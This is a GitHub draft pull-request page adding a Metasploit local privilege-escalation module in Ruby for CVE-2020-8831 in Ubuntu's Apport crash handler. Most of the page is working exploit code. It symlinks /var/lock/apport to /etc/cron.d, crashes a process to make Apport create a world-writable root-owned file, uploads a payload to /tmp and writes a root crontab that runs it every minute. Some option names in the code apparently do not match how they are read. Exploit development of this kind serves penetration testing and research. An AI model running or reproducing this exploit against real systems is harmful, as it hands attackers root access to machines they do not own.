Skip to content
Draft
Changes from 11 commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
edc187a
Init
gardnerapp Dec 21, 2024
6854dc0
Correct CVE numbering
gardnerapp Dec 21, 2024
f8f0ac5
finish prototyping the check method
gardnerapp Dec 24, 2024
9ffec60
Begin exploit
gardnerapp Dec 24, 2024
6112b1e
Add targets and write exploit files
gardnerapp Dec 24, 2024
a1dfc8a
Add opts, update description, break up exploit method
gardnerapp Jan 20, 2025
4838131
Finish check method
gardnerapp Feb 12, 2025
417c1bb
Add statuses to hijack apport method
gardnerapp Feb 12, 2025
18a94bb
Add instance vars, cleanup file writes
gardnerapp Feb 22, 2025
8cef31f
Add Payload::EXE module, fix var names
gardnerapp Feb 28, 2025
68de77e
Add /etc/ to cron dir
gardnerapp Apr 13, 2025
689bfdb
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6055625
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
68683c3
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
3868607
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
1bd3a4a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6d52e90
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
ec93425
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
2417f58
Add advanced options
gardnerapp Apr 20, 2025
631bdf6
Resolve conflicts
gardnerapp Apr 20, 2025
31bfb04
Check existence of /var/lock/apport
gardnerapp Apr 20, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
160 changes: 160 additions & 0 deletions modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
# other places besides crontab
# /etc/init.d
# ~/.bashrc
super(
update_info(
info,
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
'Description' => %q{
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
able to create files with global 0777 permissions. This module exploits this weaknes by creating a
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
elevated permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'gardnerapp'
],
'References' => [
[
'URL', 'https://nostarch.com/zero-day', # pg. 59
'URL', 'https://ubuntu.com/security/CVE-2020-8831',
'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
]
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ARCH_AARCH64, ARCH_X64]
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => '2 April 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For local exploit modules, this is usually registered as an advanced option:

    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]

OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]),
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
]
end

def check
# If you are testing the module apport needs to be reinstalled on boot every time with
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test!
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'

# Check apport version
if !command_exists?('apport-cli')
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
end

apport = cmd_exec('apport-cli --version').to_s

return CheckCode::Detected('Unable to determine apport version') if apport.blank?

# todo determine if prior versions of apport are vulnerable
apport_version = Rex::Version.new(apport.split('-').first)

vulnerable_version = Rex::Version.new('2.20.11')

if apport_version == vulnerable_version
vprint_good("Apport appears to be vulnerable.")
return CheckCode::Appears
end

CheckCode::Safe
end

# Crash Apport and hijack a symlink
# this will creat a rwx /etc/cron.d/lock owned by root
def hijack_apport

print_status("Creating symlink...")
link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport')
print_status(link)

# Create crash and trigger apport
print_status("Triggering crash...")
cmd_exec 'sleep 10s & kill -11 $!'

@cron = '/etc/cron.d/lock'

# Make sure it's writable and owned by root
unless exist?(@cron)
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
else
print_good("Successfully created /etc/cron.d/lock")
end
end

def write_payload
print_status 'Uploading payload..'

payload_dir = datastore['Writable_Dir']

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = datastore['Payload_Filename']

@payload_dest = "#{payload_dir}#{payload_file}"

# create the payload
if target.arch.first == ARCH_CMD
payload = payload.encoded
upload_and_chmodx @payload_dest, payload
else
upload_and_chmodx @payload_dest, generate_payload_exe
end
end

def write_cron
cron_interval = datastore['CRON_INTERVAL']
data = "#{cron_interval} root #{@payload_dest}\n"
write_file(@cron, data)
# crontab won't execute as root if group/other is writable
print_good "Successfully wrote crontab!"
end

def exploit
hijack_apport

write_payload

write_cron
end
end
Loading